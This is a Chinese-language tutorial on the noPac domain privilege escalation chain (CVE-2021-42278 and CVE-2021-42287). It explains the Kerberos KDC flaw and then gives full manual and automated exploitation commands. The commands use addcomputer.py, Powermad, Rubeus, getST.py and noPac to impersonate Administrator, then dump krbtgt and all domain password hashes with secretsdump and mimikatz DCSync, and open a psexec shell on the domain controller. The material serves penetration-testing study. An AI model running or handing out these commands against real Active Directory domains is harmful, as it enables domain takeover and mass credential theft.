一、域内提权漏洞 (CVE-2021-42287和CVE-2021-42278)
1.1 漏洞介绍
1.1.1 CVE-2021-42278
主机账户的名称尾部应该有一个 $
(即 sAMAccountName
属性),但是域控对此属性并没有任何验证来确保是否带有 $
,这允许攻击者模拟域控主机账户。
1.1.2 CVE-2021-42287
在申请 ST(服务票据)时,首先需要出示TGT(票据授予票),申请ST时当KDC没有找到TGT中的请求账户时,KDC将自动在请求账户尾部加上$
并再次进行查找。
这时候发生的情况是,使用名为AD01
的账户获取一张TGT,再删除AD01
账户,那么使用该TGT并利用S4U2self协议再次向它自己(AD01
)请求TGT服务票据时将导致KDC在AD中寻找 AD01$
,如果域控中账户 AD01$
存在,那么此时的AD01(普通账户)
只是作为任何其他普通用户就获得了 AD01$(域控制器账户)
的TGT服务票据
1.2 漏洞核心点
通过查看网上泄露的xp源代码中关于kerberos
的处理流程,我们可以清楚的看到漏洞产生的真正核心原因是在处理UserName
字段时的错误,如下图代码:
首先,如果找不到 UserName
的话,KDC会加上$
继续查找 UserName$
如果还是查找不到的话,KDC会继续查找altSecurityIdentities
属性的值的用户。
正是因为这个处理逻辑,导致了CVE-2021-42278
1.3 漏洞详解
光是一个CVE-2021-42278处理逻辑是不足以触发并形成攻击链的,需要让
KDC
找不到之前的用户
有以下两种方法:
- 跨域请求
跨域请求时,目标域活动目录数据库是找不到其他域的用户的,因此会走进这个处理UserName的逻辑。
- 修改账户
saMAccountName
属性
结合CVE-2021-42278漏洞来修改机器用户的saMAccountName
属性,让KDC找不到用户,然后走进这个处理UserName的逻辑。
进入KDC处理
UserName
的逻辑后,还是不能伪造高权限的,因为票据中代表用户身份权限的数据块是PAC。而申请的TGT票据授予票中的PAC是根据预认证身份信息生成的,这个我们无法伪造。因此需要想办法在ST服务票据中进行伪造。而正常的ST服务票据中的PAC是直接从TGT票据授予票中直接拷贝的。因此需要让KDC在TGS-REP(返回ST服务票据)的时候重新生成PAC,而不是直接拷贝TGT中的PAC。
两种方法:
- S4U2Self请求
KDC收到客户端发来的TGS-REQ S4U2Self协议,在验证了客户端是否具有发起S4U2Self协议权限后,会根据S4U2Self协议中模拟的用户生成对应权限的PAC,然后放在ST服务票据中,并不会复用TGT票据授予票中的PAC!
- 跨域请求时使用无PAC的TGT票据进行TGS请求
KDC在处理跨域的TGS-REQ请求时,如果携带的TGT票据授予票中没有PAC的话,如果是当前域的请求,则ST服务票据也没有PAC。如果是其他域的话,则会重新生成一个PAC!
1.4 攻击场景复现
复现参考:sAMAccountName spoofing - The Hacker Recipes
- 获取到域内普通用户权限后,首先创建一个机器用户
ONLY$
#远程执行
proxychains python3 addcomputer.py -computer-name 'ONLY' -computer-pass 'Qwer1234' -dc-ip 10.10.10.140 'nasa.gov/test:QWEasd!@#999' -method SAMR -debug
#本地执行
set-executionpolicy remotesigned #允许导入脚本
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount ONLY -Password $(ConvertTo-SecureString "Qwer1234" -AsPlainText -Force)
- 查看并清除机器用户
ONLY$
的SPN
使用Krbrelayx工具包,下载地址:dirkjanm/krbrelayx: Kerberos 无约束的授权滥用工具包
在上面使用
addcomputer.py
利用SAMR协议
创建机器账户,这个方法所创建的机器账户没有SPN,所以可以不用清除
#远程执行
proxychains python3 addspn.py -u 'nasa.gov\test' -p 'QWEasd!@#999' -t 'ONLY$' -c 10.10.10.140
#本地执行
Import-Module .\powerview.ps1
Get-DomainObject "CN=only,CN=Computers,DC=nasa,DC=gov" #查看信息
Set-DomainObject "CN=only,CN=Computers,DC=nasa,DC=gov" -Clear 'serviceprincipalname' -Verbose #擦除SPN
- 将机器用户
ONLY$
的saMAccountName
属性修改为AD01
#远程执行
proxychains python3 renameMachine.py -current-name 'ONLY$' -new-name 'AD01' -dc-ip 10.10.10.140 nasa.gov/test:'QWEasd!@#999'
#本地执行
Import-Module .\Powermad.ps1
Set-MachineAccountAttribute -MachineAccount "ONLY" -Value "AD01" -Attribute samaccountname -Verbose
- 请求带有PAC的正常TGT票据授予票
#远程执行
proxychains python3 getTGT.py -dc-ip 10.10.10.140 nasa.gov/AD01:'Qwer1234'
#本地执行
Rubeus.exe asktgt /user:"AD01" /password:"Qwer1234" /domain:"nasa.gov" /dc:"AD01.nasa.gov" /nowrap
- 将机器用户
ONLY
的saMAccountName
属性恢复为ONLY$
#远程执行
proxychains python3 renameMachine.py -current-name 'AD01' -new-name 'ONLY$' -dc-ip 10.10.10.140 nasa.gov/test:'QWEasd!@#999'
#本地执行
Import-Module .\Powermad.ps1
Set-MachineAccountAttribute -MachineAccount "AD01" -Value "ONLY$" -Attribute samaccountname -Verbose
- 使用带有PAC的正常的TGT票据授予票,利用
S4u2Self
协议请求访问[cifs/ldap]/AD01.nasa.gov
的ST服务票据。
#远程执行
KRB5CCNAME='AD01.ccache' proxychains python3 getST.py -self -impersonate "Administrator" -altservice "cifs/AD01.nasa.gov" -k -no-pass -dc-ip 10.10.10.101 nasa.gov/AD01@10.10.10.140
#本地执行
Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/AD01.nasa.gov" /dc:"AD01.nasa.gov" /ptt /ticket:[base64]
- 执行高权限操作
#ldap服务远程导出域内krbtgt用户哈希
KRB5CCNAME=Administrator@cifs_AD01.nasa.gov@NASA.GOV.ccache proxychains python3 secretsdump.py -k -no-pass -just-dc-user krbtgt -dc-ip 10.10.10.140 AD01.nasa.gov -target-ip 10.10.10.140
#本地导出
mimikatz.exe "lsadump::dcsync /domain:nasa.goov" /all /csv
#cifs服务远程getshell
KRB5CCNAME=Administrator@cifs_AD01.nasa.gov@NASA.GOV.ccache proxychains python3 psexec.py -k -no-pass -dc-ip 10.10.10.140 AD01.nasa.gov -target-ip 10.10.10.140
1.5 自动化利用脚本
下载地址:https://github.com/Ridter/noPac
proxychains python3 noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.140 -shell --impersonate administrator
python3 scanner.py $DOMAIN/$USERNAME:$PASSWORD -dc-ip $DC_IP
python3 noPac.py $DOMAIN/$USERNAME:$PASSWORD -dc-ip $DC_IP --impersonate Administrator -dump
1.6 利用过程的命令
手动利用
# exploit.local是域名,WIN-HHPV37PB123是DC的机器名称,demo5是新建的机器名,1qaz@WSX是新建的机器用户的密码。
# 使用Powershell创建机器用户
$password = ConvertTo-SecureString '1qaz@WSX' -AsPlainText -Force
New-MachineAccount -MachineAccount "demo5" -Password $($password) -Domain "exploit.local" -DomainController "WIN-HHPV37PB123.exploit.local" -Verbose
# 使用Powershell清除机器用户的SPN
Set-DomainObject "CN=demo5,CN=Computers,DC=exploit,DC=local" -Clear 'serviceprincipalname' -Verbose
# 使用powershell将机器用户名修改为DC的用户名。注意不带$符号
Set-MachineAccountAttribute -MachineAccount "demo5" -Value "WIN-HHPV37PB123" -Attribute samaccountname -Verbose
# 查看机器用户名是否修改成功
Get-DomainObject "CN=demo5,CN=Computers,DC=exploit,DC=local"
# 使用Rubeus用机器账号向DC请求TGT
Rubeus.exe asktgt /user:"WIN-HHPV37PB123" /password:"1qaz@WSX" /domain:"exploit.local" /dc:"WIN-HHPV37PB123.exploit.local" /nowrap
# 将机器用户名重置为原来的用户名
Set-MachineAccountAttribute -MachineAccount "demo5" -Value "demo5" -Attribute samaccountname -Verbose
# 使用请求的TGT通过S4U2self获取ST 注意,impersonateuser必须要存在才有效,如果域内administrator被禁用,换成其他域管
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/WIN-HHPV37PB123.exploit.local" /dc:"WIN-HHPV37PB123.exploit.local" /ptt /ticket:[Base64 TGT]
# 可选命令,查看获取的ST
klist
# 使用Mimikatz进行Dcsync
mimikatz.exe "lsadump::dcsync /domain:exploit.local /kdc:WIN-HHPV37PB123.exploit.local /user:krbtgt" "exit"
# 可选命令,清除所有的ST
klist purge
工具利用
# 使用指定的用户密码扫描域内是否存在能利用该漏洞的DC
noPac.exe scan -domain exploit.local -user "lowpriv" -pass "1qaz@WSX"
# 使用一键化工具获得域控cifs的权限
noPac.exe -domain exploit.local -user "lowpriv" -pass "1qaz@WSX" /dc WIN-HHPV37PB123.exploit.local /mAccount demo6 /mPassword 1qaz@WSX /service cifs /ptt
# 使用一键化工具获得域控ldap服务的权限,同样此处的impersonate和手动利用方式一致,需要该用户可用
noPac.exe -domain exploit.local -user "lowpriv" -pass "1qaz@WSX" /dc WIN-HHPV37PB123.exploit.local /mAccount demo7 /mPassword 1qaz@WSX /service ldap /ptt /impersonate Administrator
# 使用dcsync导出域内所有密码
mimikatz.exe "lsadump::dcsync /domain:exploit.local /all" "exit"
1.7 参考文章
利用指南